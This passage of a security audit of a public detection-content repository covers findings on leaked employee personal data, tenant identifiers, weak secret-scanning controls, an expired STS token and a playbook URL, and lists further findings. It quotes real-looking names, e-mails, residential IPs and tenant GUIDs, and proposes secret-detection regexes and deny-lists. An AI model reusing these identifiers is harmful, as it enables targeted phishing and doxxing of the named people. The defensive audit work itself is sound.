CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17); CWE-540 Inclusion of Sensitive Information in Source Code; CWE-312 Cleartext Storage of Sensitive Information. **OWASP Top 10 2021:** A02:2021 Cryptographic Failures, A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1552.001 Unsecured Credentials: Credentials In Files, T1580, T1087 Account Discovery, T1078.004 Valid Accounts: Cloud Accounts. **NIST SP 800-53r5:** SC-28 Protection of Information at Rest, SA-11 Developer Testing and Evaluation, AC-6 Least Privilege, RA-5 Vulnerability Monitoring and Scanning. **NIST CSF 2.0:** PR.DS Protect - Data Security, ID.RA Identify - Risk Assessment. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography, A.8.12 Data leakage prevention, A.5.17 Authentication information. **SANS Secure Coding Practice:** Secrets / Data Protection.

SEC-05 — Personal data of employees and residential IP addresses embedded in sample logs

Severity: Low (CVSS v3.1 base 3.7). Exploitability: Not exploitable (privacy / reconnaissance).

Location. data_sources/m365_copilot_graph_api.yml:68; aws_cloudtrail_assumerolewithsaml.yml:120; azure_active_directory_update_user.yml:78; osquery_results.yml:74 (40+ files)

- **Severity:** Low – CVSS v3.1 `AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N` = **3.7**
- **Location / excerpt (all verified with `grep -n`):**
  - `data_sources/m365_copilot_graph_api.yml:68` – `"userDisplayName": "Rod Soto", "userPrincipalName": "rodsoto@rodsoto.onmicrosoft.com", "userId": "bfb8c366-0406-41a5-b3e3-328f4a3b4484"`; same UPN in `aws_cloudtrail_assumerolewithsaml.yml:120`, `aws_cloudtrail_updatesamlprovider.yml:109`, `m365_exported_ediscovery_prompts.yml:89`, `o365_add_app_role_assignment_grant_to_user_.yml:97`, `o365_disable_strong_authentication_.yml:94` (21 occurrences) plus `pbareiss@rodsoto.onmicrosoft.com`, `bpatel@rodsoto.onmicrosoft.com`, `vagrant@rodsoto.onmicrosoft.com`.
  - Corporate e-mails: `bpatel@splunk.com` (`aws_cloudtrail_deleteknowledgebase.yml:109`, `aws_cloudtrail_putbucketreplication.yml:128`), `gowthamarajr@splunk.com` (`aws_cloudtrail_modifydbinstance.yml:161`), `daftpunk@splunk.com` (`aws_cloudtrail_deletesnapshot.yml:146`, `aws_cloudtrail_putbucketversioning.yml:119`), `pbareiss@splunk.local` (5 files), `tommyr@splunkresearch.com` (5 files), `Abigail.Clark@splunkresearch.com` (2 files).
  - Residential/mobile caller IPs: Comcast IPv6 `2601:646:a000:200:b0ee:600c:de8a:c7d5` (`azure_active_directory_update_user.yml:78`, `…_enable_account.yml:77`), `2601:646:a000:200:6419:f55c:946d:17d1` (`…_set_domain_authentication.yml:77`, `…_add_unverified_domain.yml:78`), `2601:646:a000:200:c4db:f288:7e28:21b3` (`…_invite_external_user.yml:76`); IPv4 `95.90.199.65` (Vodafone DE, 7 CloudTrail files), `67.171.71.185`, `73.15.72.101`, `142.254.89.27`, `23.93.193.6/7`, `23.93.242.200`, `192.184.242.57`, `61.25.42.212`, `12.25.72.12` (line refs in T1), `174.235.80.142` (`pingid.yml:45`).
  - Developer workstation capture `data_sources/osquery_results.yml:74`: `"hostIdentifier":"HackBook.local"`, `HOME=/Users/patrick`,

`TMPDIR=/var/folders/tc/m9brp20d1mvfgssff70501m40000gn/T/`, `SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.OOwoeuT9LF/Listeners`, `ITERM_SESSION_ID=…`, `LANG=de_DE.UTF-8`.
    - Attack-range hostnames carrying employee handles: `win-dc-mhaag-attack-range-84.attackrange.local`, `win-dc-mvelazco-02713-392.attackrange.local`, `win-dc-tcontreras-attack-range-478.attackrange.local`, `win-dc-ctus-attack-range-403.attackrange.local` (detections/data_sources, 20+ lines).
- **Description:** These are not secrets but are personal data (names, UPNs, object IDs, home-network IP addresses, home-directory names, locale) of identifiable Splunk employees, published in perpetuity in a widely-forked public repository. They enable targeted phishing/pretexting (the UPN `rodsoto@rodsoto.onmicrosoft.com` plus tenant `0e8108b1-…` suffices to attempt password-spray/consent-phishing against a real Entra tenant), doxxing (residential IP geolocation), and are a data-minimisation issue under GDPR/CCPA. `pbareiss@splunk.local` is a lab identity (fine); the `*.onmicrosoft.com` and `@splunk.com` ones are real.
- **Untrusted-input reachability:** disclosure only. **Verdict: Not exploitable (privacy / reconnaissance).**
- **Proof of concept:** `grep -rn 'Rod  Soto' data_sources/` → `data_sources/m365_copilot_graph_api.yml:68`; `grep -rnoE '2601:646:a000:200:[0-9a-f:]+' data_sources | wc -l` → `9`.
- **Remediation:** rewrite to documentation values: UPNs → `user@contoso.onmicrosoft.com`, display names → `Test User`, GUIDs → `00000000-0000-0000-0000-00000000000N`, IPv4 → `192.0.2.x`/`198.51.100.x`/`203.0.113.x`, IPv6 → `2001:db8::/32`, hostnames → `win-dc-01.attackrange.local`, home dirs → `/Users/analyst`. Enforce with a `data_sources` lint in `yaml-validation.yml` (deny-list regex `@splunk\.com|@[a-z]+\.onmicrosoft\.com|^2601:|/Users/[a-z]+`). Add a CONTRIBUTING.md rule: "sample logs must come from the attack range with `scrub_cloudtrail_samples.py` applied".
- **Mappings:** CWE-359 (Exposure of Private Personal Information), CWE-200, CWE-540; OWASP Top 10 2021 A02, A05; ASVS 8.3.4, 8.3.5; ATT&CK T1589.002 (Gather Victim Identity Information: Email Addresses), T1591, T1078.004; NIST SP 800-53r5 PT-2, PM-25, SC-28, SA-11; NIST CSF 2.0 PR.DS-01, GV.PO-01; ISO/IEC 27001:2022 A.5.34 (Privacy & PII), A.8.24, A.8.12; SANS Data Protection.

Standards mapping.

CWE: CWE-359 Exposure of Private Personal Information to an Unauthorized Actor; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17); CWE-540 Inclusion of Sensitive Information in Source Code. **OWASP Top 10 2021:** A02:2021 Cryptographic Failures, A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1589, T1078.004 Valid Accounts: Cloud Accounts. **NIST SP 800-53r5:** PT-2, SC-28 Protection of Information at Rest, SA-11 Developer Testing and Evaluation. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.5.34, A.8.24 Use of cryptography, A.8.12 Data leakage prevention. **SANS Secure Coding Practice:** Secrets / Data Protection.

SEC-10 — Internal infrastructure and cloud-tenant identifiers disclosed (hostnames, private URLs, tenant GUIDs, S3 buckets, playground endpoint)

Severity: Low (CVSS v3.1 base 3.7). Exploitability: Not exploitable (disclosure).

Location. data_sources/azure_active_directory_*.yml:76-78; playbooks/block_indicators.json:1503-3047; playbooks/malware_hunt_and_contain.json:4834-5558; .github/workflows/response_templates/template_script.py:144; contentctl.yml:37-262

- **Severity:** Low – CVSS v3.1 `AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N` = **3.7**
- **Location (representative, all `grep -n` verified):**
  - Entra tenant GUIDs: `fc69e276-e9e8-4af9-9002-1e410d77244e` (9 `data_sources/azure_active_directory_*.yml` files, lines 76-78), `887c9144-…` (`…sign_in_activity.yml:127`), `95d19bda-…` (`…noninteractiveusersigninlogs.yml:137`), `225e05a1-…` (`…microsoftgraphactivitylogs.yml:17`), `75243ab2-…` (3 files), `a417c578-…`, `91da745f-…`, `5f210575-…`, `26db52ee-…` (`azure_monitor_activity.yml:104`), `ad251139-…` + subscriptions `1aee0e3d-…`, `67165197-…`, `e0c00901-…` (`azure_audit_create_or_update_an_azure_automation_*.yml:114/115/122`), `0e8108b1-…` IdP entityID (`aws_cloudtrail_updatesamlprovider.yml:109`); O365 `OrganizationId 75243ab2-…`, `e17879dd-…` (`o365_mailitemsaccessed.yml:90`, `o365_modifyfolderpermissions.yml:108`); Duo `key`/`akey` (`cisco_duo_activity.yml:46`).
  - Internal appliance URLs in playbooks: `https://10.1.1.10` (`block_indicators.json:1503,1510,2679,2686,3040,3047`), `https://192.168.0.245/#/binary/…` and `https://10.1.16.170/#/binary/…` (`malware_hunt_and_contain.json:4834-4835, 4874-4876, 5516-5517, 5556-5558`), `10.1.19.4` (`CrowdStrike_OAuth_API_Endpoint_Analysis.py:421-422`).
  - Lab/estate hostnames: `ar-win-dc.attackrange.local` (25×), `ip-192-168-89-64.us-west-2.compute.internal`, `ip-10-0-10-253.us-west-2.compute.internal`, `ip-172-16-0-50.us-east-2.compute.internal` (cisco_isovalent samples), `adfs.attackrange.local` cert, `system.enterpriseservices.internal` (`detections/endpoint/windows_powershell_add_module_to_global_assembly_cache.yml:9,13`).
  - Splunk endpoints: `https://securitycontent.scs.splunk.com/response_templates/` default `-p` (`.github/workflows/response_templates/template_script.py:144`, "playground endpoint"), `blueridge.splunkcloud.com` / `test.splunkcloud.com` (`mcopenapi_public.yml:18,1295,3985` – public doc examples), S3 `attack-range-appbinaries.s3.us-west-2.amazonaws.com` (40 `hardcoded_path` in `contentctl.yml:37-262`), `security-content.s3.us-west-2.amazonaws.com`.
- **Description:** None of these are secrets; Entra tenant IDs are even discoverable from a domain name. Collectively they map STRT's cloud estate (which Entra tenants/subscriptions/automation accounts exist, which S3 buckets and SCS endpoint CI depends on, which private ranges and host-naming scheme the range uses) and lower attacker cost for SEC-03/05 reconnaissance. The `hardcoded_path` S3 downloads are additionally a supply-chain surface (CI installs 40 TAs from a team-owned bucket over HTTPS with **no checksum/signature verification**); that belongs to the CI reviewer and is only noted here as data exposure.
- **Untrusted-input reachability:** disclosure only. **Verdict: Not exploitable.**
- **Proof of concept:** `grep -rnoiE '"tenant_?id": *"[0-9a-f-]{36}"' data_sources | awk -F: '{print $NF}' | sort -u | wc -l` → `12` distinct real-looking tenant GUIDs; `grep -c attack-range-appbinaries contentctl.yml` → `40`.

- **Remediation:** apply the documentation-value rewrite from SEC-05 to GUIDs (`00000000-0000-0000-0000-00000000000N`), export playbooks without run data, replace private console URLs with `https://cb.example.internal`, change `template_script.py:144` default to `https://example.com/response_templates/` and pass the real prefix from the workflow, and publish SHA-256 sums (or a signed manifest) next to the `hardcoded_path` artefacts and verify them in `contentctl-ng install`.
- **Mappings:** CWE-200, CWE-540, CWE-494 (unverified download note); OWASP A02, A05, A08; ASVS 14.2.x, 14.3.3; ATT&CK T1590 (Gather Victim Network Information), T1580, T1195.002; NIST SP 800-53r5 SC-28, SA-11, SR-4, SI-7; NIST CSF 2.0 PR.DS-01, GV.SC-07; ISO/IEC 27001:2022 A.8.24, A.8.12, A.5.21; SANS Data Protection / System Configuration.

Standards mapping.

CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17); CWE-540 Inclusion of Sensitive Information in Source Code; CWE-494 Download of Code Without Integrity Check. **OWASP Top 10 2021:** A02:2021 Cryptographic Failures, A05:2021 Security Misconfiguration, A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1590, T1580, T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** SC-28 Protection of Information at Rest, SA-11 Developer Testing and Evaluation, SR-4 Provenance, SI-7 Software, Firmware, and Information Integrity. **NIST CSF 2.0:** PR.DS Protect - Data Security, GV.SC Govern - Cybersecurity Supply Chain Risk Management. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography, A.8.12 Data leakage prevention, A.5.21 Managing information security in the ICT supply chain. **SANS Secure Coding Practice:** Secrets / Data Protection.

SEC-08 — Secret-prevention controls are weak: no scanner in CI, inert pre-commit hook, incomplete .gitignore

Severity: Low (no CVSS score (informational)). Exploitability: Control gap.

Location. .pre-commit-config.yaml:8-10; .github/workflows/*.yml; .gitignore:1-142

- **Severity:** Low (process/control gap; CVSS not applicable – nominal **0.0**)
- **Location:** `.pre-commit-config.yaml:8-10`; `.github/workflows/*.yml` (no gitleaks/trufflehog/detect-secrets step in any of the 9 workflows); `.gitignore:1-142`; absence of `.gitleaks.toml` / `.secrets.baseline`.

```
# .pre-commit-config.yaml
 8      - id: detect-aws-credentials
 9        args: ['--allow-missing-credentials']
10      - id: detect-private-key
```

- **Description:** `detect-aws-credentials` only looks for *the specific secret values found in the committer's `~/.aws/credentials`*; with `--allow-missing-credentials` it silently passes when that file is absent (CI and most contributors), and it never matches `AKIA…` IDs – hence none of the 49 committed key IDs were ever caught. `detect-private-key` covers only PEM headers. pre-commit is opt-in on developer machines and is not executed by any workflow (`yaml-validation.yml` runs yamlfmt/field-order only). No gitleaks/detect-secrets step exists; there is no baseline/allow-list for the legitimate `AKIAIOSFODNN7EXAMPLE` samples; `.gitignore` does not exclude `*.pem *.key *.p12 *.pfx id_rsa* .aws/ .netrc *.secret`, and it lists `.vscode/` and `*.code-snippets` although `.vscode/settings.json`, `launch.json`, `extensions.json`, `escu_6.code-snippets`, `security-content.code-snippets` are tracked (`git ls-files .vscode` → 5 files) – the ignore file is not maintained. GitHub secret scanning / push protection is enabled per repository by an admin, not through files; the public

repo gets partner-pattern scanning for free, but that would not catch any issue in this report (STS tokens, playbook passwords, PII are not partner patterns).

- **Untrusted-input reachability:** n/a (control gap that allowed SEC-01…07). **Verdict: Not a vulnerability in itself.**
- **Proof of concept:** `grep -rniE 'gitleaks|trufflehog|detect-secrets|ggshield' .github/ .pre-commit-config.yaml` → no output; `ls .gitleaks.toml .secrets.baseline` → not found.
- **Remediation:**

```
# .pre-commit-config.yaml (additions)
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.21.2
    hooks:
      - id: gitleaks
  - repo: https://github.com/Yelp/detect-secrets
    rev: v1.5.0
    hooks:
      - id: detect-secrets
        args: ['--baseline', '.secrets.baseline']
        exclude: ^lookups/csv/(dynamic_dns_providers_default|
sslbl_ssl_certificate_blacklist)\.csv$
# .gitleaks.toml
[extend]
useDefault = true

[[rules]]
id = "aws-sts-session-token"
description = "AWS STS session token"
regex = '''IQoJb3JpZ2luX2Vj[A-Za-z0-9+/=]{100,}'''

[[rules]]
id = "soar-playbook-literal-password"
description = "Literal password in SOAR playbook parameters"
regex = '''"(?:new_)?password"\s*:\s*"(?!(?:filtered-data|playbook_input|artifact|[a-z_]
+:custom_function|action_result)[^"]*")[^"\s]{6,}"'''
path = '''playbooks/.*\.(json|py)$'''

[allowlist]
description = "documented placeholder values"
regexes = ['''AKIAIOSFODNN7EXAMPLE''', '''wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY''',
'''EXAMPLE_SESSION_TOKEN''']
paths = ['''response_templates/.*\.json$''',
'''\.github/workflows/response_templates/mcopenapi_public\.yml$''']
# .github/workflows/secret-scan.yml
name: secret scan
on: [pull_request, push]
permissions: { contents: read }
jobs:
  gitleaks:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with: { fetch-depth: 0 }            # full history so history-mode works
      - uses: gitleaks/gitleaks-action@v2    # pin to a commit SHA in production
        env:
          GITHUB_TOKEN: ${{ github.token }}
          GITLEAKS_CONFIG: .gitleaks.toml
      - name: data_sources sanitiser
        run: python3 scripts/scrub_cloudtrail_samples.py --check
```

Also: add `*.pem *.key *.p12 *.pfx id_rsa* .aws/ .netrc *.secret .env.*` to `.gitignore`, remove the stale `.vscode/`/`*.code-snippets` lines or untrack the files, ask the GitHub org admin to enable *secret scanning + push protection* with custom patterns for the

STS/playbook regexes above, and run a one-off full-history scan on an unshallowed clone (`git fetch --unshallow && gitleaks git . --config .gitleaks.toml`) before deciding whether history rewriting (`git filter-repo`) is warranted for SEC-03/04/05.

- **Mappings:** CWE-693 (Protection Mechanism Failure), CWE-1059; OWASP Top 10 2021 A05, A08 (Software & Data Integrity Failures); ASVS 1.14.x, 14.1.x; ATT&CK T1552.001 / T1552.004 (what the control should prevent); NIST SP 800-53r5 SA-11, SA-15(7), CM-3, SI-7; NIST CSF 2.0 PR.PS-06, DE.CM-09; ISO/IEC 27001:2022 A.8.28 (Secure coding), A.8.25, A.8.32; SANS/CERT General Coding Practices; GitHub docs "About secret scanning / push protection"; gitleaks & detect-secrets documentation.

Standards mapping.

CWE: CWE-693 Protection Mechanism Failure; CWE-1059 Insufficient Technical Documentation. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration, A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1552.001 Unsecured Credentials: Credentials In Files, T1552.004 Unsecured Credentials: Private Keys. **NIST SP 800-53r5:** SA-11 Developer Testing and Evaluation, SA-15 Development Process, Standards, and Tools, CM-3 Configuration Change Control, SI-7 Software, Firmware, and Information Integrity. **NIST CSF 2.0:** PR.PS Protect - Platform Security, DE.CM Detect - Continuous Monitoring. **ISO/IEC 27001:2022:** A.8.28 Secure coding, A.8.25 Secure development life cycle, A.8.32 Change management. **SANS Secure Coding Practice:** Secrets / General Coding Practices.

SEC-04 — Expired AWS STS temporary credential committed in a sample log

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable (expired 2021-01-22).

Location. data_sources/aws_cloudtrail_assumerolewithsaml.yml:120

- **Severity:** Informational – CVSS v3.1 `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N` = **0.0** (credential expired `2021-01-22T03:59:16Z`; no secret key)
- **Location:** `data_sources/aws_cloudtrail_assumerolewithsaml.yml:120` – `"credentials": {"accessKeyId": "ASIA… (len 20)", "expiration": "Jan 22, 2021 3:59:16 AM", "sessionToken": "IQoJ… (len 920)"}`
- **Description:** CloudTrail does not log `secretAccessKey`, so this is two of three parts of a temporary credential whose lifetime ended in January 2021. It is not usable, but it is the one item in the repo that *is* a credential artefact rather than an identifier, it contains the real account ID in its base64 body (SEC-03 PoC), and it normalises pasting `responseElements.credentials`. gitleaks has no STS-token rule and misses it; detect-secrets `Base64HighEntropyString` catches it.
- **Untrusted-input reachability:** n/a. **Verdict: Not exploitable.**
- **Proof of concept:** `sed -n '120p' data_sources/aws_cloudtrail_assumerolewithsaml.yml | grep -o '"expiration": "[^"]*"'` → `"expiration": "Jan 22, 2021 3:59:16 AM"`; `grep -c secretAccessKey data_sources/aws_cloudtrail_assumerolewithsaml.yml` → `0`.
- **Remediation:** replace the token with `"sessionToken": "EXAMPLE_SESSION_TOKEN"` (rule included in the SEC-03 scrubber); keep `expiration` so the field list stays representative. Add the gitleaks custom rule `IQoJb3JpZ2luX2Vj[A-Za-z0-9+/=]{100,}` (STS token magic prefix) proposed in SEC-08.

- **Mappings:** CWE-312, CWE-540; OWASP A02; ASVS 8.3.4; ATT&CK T1552.001, T1550.001; NIST 800-53 SC-28, IA-5; CSF PR.DS-01; ISO 27001 A.8.24; SANS Data Protection.

Standards mapping.

CWE: CWE-312 Cleartext Storage of Sensitive Information; CWE-540 Inclusion of Sensitive Information in Source Code. **OWASP Top 10 2021:** A02:2021 Cryptographic Failures. **MITRE ATT&CK:** T1552.001 Unsecured Credentials: Credentials In Files, T1550 Use Alternate Authentication Material. **NIST SP 800-53r5:** SC-28 Protection of Information at Rest, IA-5 Authenticator Management. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography. **SANS Secure Coding Practice:** Secrets / Data Protection.

SEC-09 — Third-party reputation-service URL with alliance key parameters in SOAR playbook sample values

Severity: Informational (no CVSS score (informational)). Exploitability: Not exploitable (public well-known value).

Location. playbooks/ransomware_investigate_and_contain.json:2861,3520; malware_hunt_and_contain.json:3202,3861,4508,5190,7182,7841; email_notification_for_malware.json:4166,4825,6878,7537

- **Severity:** Informational – CVSS **0.0**
- **Location:** `playbooks/ransomware_investigate_and_contain.json:2861, 3520`; `playbooks/malware_hunt_and_contain.json:3202, 3861, 4508, 5190, 7182, 7841`; `playbooks/email_notification_for_malware.json:4166, 4825, 6878, 7537` – `"example_values": ["https://services.bit9.com/Services/extinfo.aspx?ak=b8b4… (len 32)&sg=0313… (len 32)&md5=…"]`.
- **Description:** The `alliance_link_srstrust` field of Carbon Black Response binary results carries the Bit9 Software Reputation Service link; the `ak`/`sg` pair is the alliance key/signature baked into every CB Response server and reproduced in Carbon Black's own public API documentation and many public repositories – (c) a public well-known value, not an org secret, and the service is retired. Listed so a future reviewer does not have to re-derive that, and because the same sample blocks embed internal console URLs (SEC-10).
- **Untrusted-input reachability:** n/a. **Verdict: Not exploitable.**
- **Proof of concept:** `grep -rnoE 'extinfo\.aspx\?ak=[a-f0-9]+' playbooks | wc -l` → `12`.
- **Remediation:** strip `example_values` from exported playbook JSON before commit (SOAR export without app-run data), or replace with `https://example.com/extinfo?ak=REDACTED`.
- **Mappings:** CWE-540; OWASP A05; ASVS 14.3.3; NIST 800-53 SA-11; ISO 27001 A.8.24; SANS Data Protection.

Standards mapping.

CWE: CWE-540 Inclusion of Sensitive Information in Source Code. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration. **NIST SP 800-53r5:** SA-11 Developer Testing and Evaluation. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography. **SANS Secure Coding Practice:** Secrets / Data Protection.

4.8 Consolidated Duplicate Findings

The following findings were raised by more than one reviewer for the same underlying issue and are consolidated under the canonical identifier shown.

Canonical finding	Also reported as	Issue
PB1-06	SEC-01, DET-01	Hard-coded AWS IAM console password applied to every re-enabled user (public repository)
CI-03	SEC-02	Splunkbase session token printed to CI logs by ta_update.py
PB2-07	SEC-07, DET-17	Non-cryptographic PRNG used to generate the new Active Directory password
PB1-03	DET-10	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list
CI-14	SEC-06	Hard-coded admin password for the throw-away CI Splunk container (informational)
APP-07	SEC-11	Lookup CSV cells beginning with formula characters (export-boundary CSV injection surface only)
SEC-03	APP-11	Incomplete sanitisation of CloudTrail example logs leaks real AWS account IDs, access-key IDs, principals, roles and buckets
SEC-10	DET-11	Internal infrastructure and cloud-tenant identifiers disclosed (hostnames, private URLs, tenant GUIDs, S3 buckets, playground endpoint)
DET-16	DEP-11	DSDL/MLTK notebooks deserialise models with pickle and torch.load on stale libraries
DEP-05	CI-04	All 28 GitHub Action references use mutable major tags; third-party actions run with PAT and AWS keys
DEP-03	CI-06	Splunk apps, attack data and container images downloaded without integrity verification from mutable locations
DEP-12	CI-07	Dependency-update automation does not cover pip or docker ecosystems; no SBOM produced with releases

5. Complete Findings Catalogue

All 111 unique findings in severity order. Detailed write-ups are in Section 4; framework mappings are in Section 10.

ID	Title	Severity	CVSS	Area
DEP-02	Unpinned pip install in a scheduled job holding long-lived AWS keys that writes the shared app-binaries bucket	High	8.6	Dependencies
PB1-02	CrowdStrike RTR command-argument injection and path traversal via raw path/pid inputs	High	8.5	SOAR playbooks
PB2-03	PowerShell command injection via unquoted filepath in internal_host_winrm_log4j_respond	High	8.3	SOAR playbooks
PB1-01	CrowdStrike FQL filter injection via playbook_input:device (10 playbooks)	High	8.2	SOAR playbooks
CI-01	Script injection via github.head_ref interpolated into run: steps (unit-testing workflow)	High	8.1	CI/CD
CI-02	Untrusted fork-PR code built and executed on a large runner; PR-built artifacts uploaded	High	8.1	CI/CD
PB1-03	Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list	High	8.1	SOAR playbooks
PB2-01	OS command injection via ip_or_hostname in SSH investigate playbooks	High	8.0	SOAR playbooks
PB2-02	OS command injection via filepath in internal_host_ssh_log4j_respond	High	8.0	SOAR playbooks
PB2-04	Command injection and arbitrary file deletion via filePath in delete_detected_files (no approval gate)	High	8.0	SOAR playbooks
PB1-06	Hard-coded AWS IAM console password applied to every re-enabled user (public repository)	High	7.4	SOAR playbooks
PB2-10	Destructive automated response with no approval gate or protected-entity allow-list	High	7.4	SOAR playbooks
PB2-09	Attacker-steerable host shutdown and network isolation in the log4j respond pack	High	7.1	SOAR playbooks
DEP-01	Build toolchain dependency tree unlocked: 65 transitive packages float with no lockfile or hashes	Medium	6.8	Dependencies
DEP-05	All 28 GitHub Action references use mutable major tags; third-party actions run with PAT and AWS keys	Medium	6.7	Dependencies
CF-01	Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)	Medium	6.5	SOAR custom functions
CF-02	container_update mass-assignment via input_json with no key allow-list	Medium	6.5	SOAR custom functions
CI-03	Splunkbase session token printed to CI logs by ta_update.py	Medium	6.5	CI/CD
PB2-08	Cleartext new password written into a SOAR container comment and action output	Medium	6.5	SOAR playbooks
PB2-06	SPL injection via untrusted CEF fields in Splunk run	Medium	6.3	SOAR

ID	Title	Severity	CVSS	Area
	query templates (multiple playbooks)			playbooks
APP-01	SPL injection via weakly-quoted dashboard token $story$ (ESCU summary dashboard)	Medium	6.1	Splunk app and dashboards
APP-02	SPL injection via unquoted $policyname$/$eventcode$ tokens with auto-run on load (AppLocker dashboard)	Medium	6.1	Splunk app and dashboards
DEP-03	Splunk apps, attack data and container images downloaded without integrity verification from mutable locations	Medium	6.1	Dependencies
CF-03	TLS verification disabled on every custom-function REST call (30+ sites)	Medium	5.9	SOAR custom functions
PB2-07	Non-cryptographic PRNG used to generate the new Active Directory password	Medium	5.9	SOAR playbooks
DET-03	New-IP and spike detections write their own allow-list from attacker-influenced events (self-poisoning)	Medium	5.8	Detection content
PB2-05	Raw IP address passed as the whole Splunk/Carbon Black query (hunting.py)	Medium	5.8	SOAR playbooks
DEP-04	End-of-life components: Splunk 9.3 test image (EOL 2026-07-24), Python 3.10 CI runtime (EOL 2026-10-01), legacy SOAR exports, notebook stacks	Medium	5.6	Dependencies
CF-06	regex_filter_list uses prefix-anchored re.match for keep/drop filtering (allow-list bypass)	Medium	5.4	SOAR custom functions
CF-09	container_merge: unauthorised close/merge/evidence on attacker-influenced container IDs (IDOR)	Medium	5.4	SOAR custom functions
PB1-07	Attacker-controlled e-mail Message-ID drives tenant-wide search, delete and restore (MS Graph, Gmail)	Medium	5.4	SOAR playbooks
CF-04	zip_extract: uncapped decompression (zip-bomb DoS) and no temp cleanup; Zip-Slip not exploitable	Medium	5.3	SOAR custom functions
CF-05	ReDoS via user-supplied regex compiled in regex_filter_list and regex_split	Medium	5.3	SOAR custom functions
CF-07	regex_extract_email: polynomial backtracking and incorrect extraction of attacker-controlled domains	Medium	5.3	SOAR custom functions
CI-05	XML parsing of remote responses without defusedxml and HTTP requests without timeout (ta_update.py)	Medium	5.3	CI/CD
DET-02	SPL injection in potential_password_in_username via attacker-chosen username passed through map	Medium	5.3	Detection content
DET-04	Previously-seen baselines and their consumers form an allow-list poisoning path (30 files)	Medium	5.3	Detection content
DET-06	Case-sensitive match()/LIKE on attacker-controlled fields allows trivial bypass	Medium	5.3	Detection content
DET-07	Hard-coded placeholder domain internal_test_email.com ships as live detection logic (dead detections)	Medium	5.3	Detection content
PB1-08	Cisco Talos Untrusted verdict never maps to Malicious	Medium	5.3	SOAR

ID	Title	Severity	CVSS	Area
	(unstrusted typo) - fail-open scoring			playbooks
PB1-05	ServiceNow sysparm_query (encoded query and URL parameter) injection via search_term	Medium	5.0	SOAR playbooks
DET-05	ES drilldown and risk-message $field$ tokens are substituted unquoted (1,971 detections; one uses |s)	Medium	4.3	Detection content
PB1-04	LDAP filter injection in AD LDAP Entity Attribute Lookup	Medium	4.2	SOAR playbooks
DEP-06	Licence compliance gaps: GPL-3.0-derived datasets redistributed under Apache-2.0 without notices; no NOTICE file; build tool licence unknown	Medium	—	Dependencies
CF-11	asset_get_attributes returns the full asset configuration (possible secret exposure)	Low	4.9	SOAR custom functions
PB2-15	Hostname interpolated into PowerShell file paths in internal_host_winrm_investigate	Low	4.4	SOAR playbooks
CF-08	regex_extract_ipv4: unanchored regex extracts wrong or partial IPs used for security decisions	Low	4.3	SOAR custom functions
CF-10	Object-reference inputs acted on without authorisation checks (artifact/indicator/evidence functions)	Low	4.3	SOAR custom functions
CI-08	External tools launched via partial executable path (PATH hijack) in pre-commit hook and scripts	Low	4.2	CI/CD
DET-16	DSDL/MLTK notebooks deserialise models with pickle and torch.load on stale libraries	Low	3.9	Detection content
DEP-10	Unpinned yamlfmt@latest, floating Go toolchain and sibling-directory executable probe in the pre-commit hook	Low	3.8	Dependencies
CF-14	url_parse: unhandled ValueError on malformed port	Low	3.7	SOAR custom functions
DEP-08	Splunk TA pins drift from Splunkbase and from each other (10 apps a major version behind)	Low	3.7	Dependencies
PB2-11	TLS certificate verification disabled on SOAR REST calls (verify=False)	Low	3.7	SOAR playbooks
SEC-03	Incomplete sanitisation of CloudTrail example logs leaks real AWS account IDs, access-key IDs, principals, roles and buckets	Low	3.7	Secrets
SEC-05	Personal data of employees and residential IP addresses embedded in sample logs	Low	3.7	Secrets
SEC-10	Internal infrastructure and cloud-tenant identifiers disclosed (hostnames, private URLs, tenant GUIDs, S3 buckets, playground endpoint)	Low	3.7	Secrets
CI-13	Missing top-level permissions: blocks and use of a personal access token where a scoped token would do	Low	3.5	CI/CD
PB1-10	Attacker-controlled values rendered unescaped into SOAR markdown notes	Low	3.5	SOAR playbooks
PB2-12	Allow-list bypass by self-tagging in	Low	3.5	SOAR

ID	Title	Severity	CVSS	Area
	aws_disable_user_accounts			playbooks
CF-12	debug.py and passthrough.py log full input values (sensitive data to logs)	Low	3.3	SOAR custom functions
CI-09	Bare except: and broad exception handling swallow errors (validate_yaml.py, ta_update.py)	Low	3.3	CI/CD
APP-08	default.meta exports all knowledge objects system-wide with admin/sc_admin write (tampering surface)	Low	3.1	Splunk app and dashboards
CF-13	Validation via assert statements (stripped under python -O)	Low	3.1	SOAR custom functions
CF-15	Missing None/type guards and empty-cell substring logic bug (custom_list_value_in_strings)	Low	3.1	SOAR custom functions
CF-16	base64_decode: fail-open decoding, NUL stripping and non-ASCII drop	Low	3.1	SOAR custom functions
CF-18	zip_extract: unvalidated vault_id used to build the temp extraction path	Low	3.1	SOAR custom functions
CI-10	PR-controlled detection name/exception rendered unescaped into the GitHub step summary	Low	3.1	CI/CD
